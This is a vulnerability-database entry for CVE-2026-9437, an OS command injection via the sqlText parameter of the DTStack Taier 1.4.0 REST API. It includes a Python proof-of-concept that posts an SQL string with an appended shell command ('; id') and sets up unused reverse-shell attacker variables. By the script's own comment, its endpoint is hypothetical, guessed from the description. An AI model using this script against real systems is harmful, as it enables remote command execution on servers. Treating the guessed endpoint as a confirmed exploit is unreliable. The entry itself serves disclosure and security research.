Security Vulnerability Report
中文
CVE-2026-9437 CVSS 6.3 MEDIUM

CVE-2026-9437

Published: 2026-05-25 08:16:25
Last Modified: 2026-05-25 08:16:25

Description

A vulnerability has been found in DTStack Taier 1.4.0. This affects the function Runtime.exec of the component REST API. The manipulation of the argument sqlText leads to os command injection. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

DTStack Taier 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Hypothetical endpoint based on vulnerability description) target_url = "http://target-host:port/api/rest/runtime/exec" # Attacker's IP for reverse shell (example) attacker_ip = "192.168.1.100" attacker_port = "4444" # Payload injecting OS command via sqlText parameter # Using a semicolon to separate the intended SQL from the malicious OS command # Example: executing a simple 'id' command or a reverse shell payload = "SELECT * FROM test; id" # Data to be sent in the request data = { "sqlText": payload } try: # Sending the malicious request response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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